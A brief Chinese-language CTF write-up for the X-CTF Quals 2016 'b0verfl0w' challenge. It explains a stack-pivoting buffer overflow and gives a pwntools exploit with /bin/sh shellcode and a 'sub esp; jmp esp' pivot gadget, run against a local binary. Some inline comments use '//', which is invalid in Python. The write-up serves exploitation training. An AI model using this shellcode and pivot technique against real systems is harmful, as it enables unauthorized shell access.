1-wiki-X-CTF Quals 2016 - b0verfl0w——stack pivoting

题目下载:

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w
1.先检查一下安全防护机制
图片.png
2.首先在本地运行一下对比一下源码效果
signed int vul()
{
  char s; // [sp+18h] [bp-20h]@1

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);   //
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

做题先思考:
1.利用rop链条
2.利用gadget片段

因为我们的溢出空间太小0x12,丢弃rROP(如果里面有实system和/bin/sh我们可以尝试一下利用)
注:因为我们没有开启nx机制 我们可以利用传入shellcode,调用shellcode来产生交互。

图片.png

from pwn import*
##context.log_level = 'debug'
p  = process("./b0verfl0w")
##p = remote("","")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')  //重点  需要自己写汇编代码
jmp_esp_ret_addr = 0x8049504


payload = shellcode
payload += 'A'*(0x20-len(shellcode)) + 'bbbb'
payload += p32(jmp_esp_ret_addr)
payload += sub_esp_jmp    // 我们书写的汇编代码 不需要p32() 注意

p.sendline(payload)
p.interactive()

相似:参考有道云笔记 1-栈溢出

你可能感兴趣的:(1-wiki-X-CTF Quals 2016 - b0verfl0w——stack pivoting)